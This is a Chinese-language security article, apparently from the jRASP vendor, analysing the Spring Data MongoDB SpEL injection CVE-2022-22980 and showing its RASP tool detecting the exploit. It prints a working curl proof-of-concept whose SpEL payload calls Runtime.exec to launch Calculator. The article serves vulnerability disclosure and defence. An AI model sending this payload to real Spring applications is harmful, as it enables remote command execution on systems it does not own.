RASP| Spring data mongodb spel(CVE-2022-22980)
2022-6-25 17:40:7 Author: mp.weixin.qq.com(查看原文) 阅读量:4 收藏

    Spring Data MongoDB 是一个开源项目,它提供了与 MongoDB 文档数据库的集成,可以极大提高 Java 开发人员在使用 MongoDB 时的效率。近日监控到 Spring Data MongoDB 爆出 SpEL 表达式注入漏洞 CVE-2022-22980。

    当使用 `@Query` 或 `@Aggregation` 注释进行查询并且通过 SpEL 表达式中形如 `?0` 、`?1` 等占位符进行参数赋值时,可导致 SpEL 表达式注入漏洞,从而实现 RCE 。影响版本如下:

  •  v3.4.0

  •  v3.3.0 to v3.3.4

  •  Older, unsupported versions are also affected

环境搭建

    为了方便漏洞调试分析,新建一个 SpringBoot 项目,并引入 Spring Data MongoDB v3.4.0 。参考  Spring Data MongoDB 查询 SpEL 解析定义规范以及补丁对比分析结果,完成调试环境配置。最后为了方便构造漏洞测试过程,编写如下控制器:

(https://github.com/threedr3am/learnjavabug/tree/master/spring/spring-data-mongodb-spel-CVE-2022-22980)

漏洞复现

请求参数为 SpEL 表达式注入漏洞载荷,最终效果如下:

curl --location --request POST 'http://49.235.111.228:9999/demo' \--header 'Content-Type: application/x-www-form-urlencoded' \--data-urlencode 'keyword=T(java.lang.String).forName('\''java.lang.Runtime'\'').getRuntime().exec('\''/System/Applications/Calculator.app/Contents/MacOS/Calculator'\'')'

管理端:

匹配到命令执行的调用栈,判定为高危

后续功能迭代
  • 增加SPEL插件模块:近期SPEL表达式注入漏洞发生多个,增加表达式检测插件,提高检测能力;

如需获取更多信息,请访问我们的页面(http://www.jrasp.com/)  开源免费,欢迎使用

  • 微信:sear2022

  • jrasp 目前已经接入主机超过500,防护进程超过5000+,成熟稳定;


文章来源: https://mp.weixin.qq.com/s?__biz=Mzg5MjQ1OTkwMg==&mid=2247484378&idx=1&sn=3e056f671ee72c1f98a63c4b8677a1ec&chksm=c03c8dcbf74b04ddff57243abc8e50af62c6bbe81891bb3bc8060ddf5d741398507efb62d27e&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh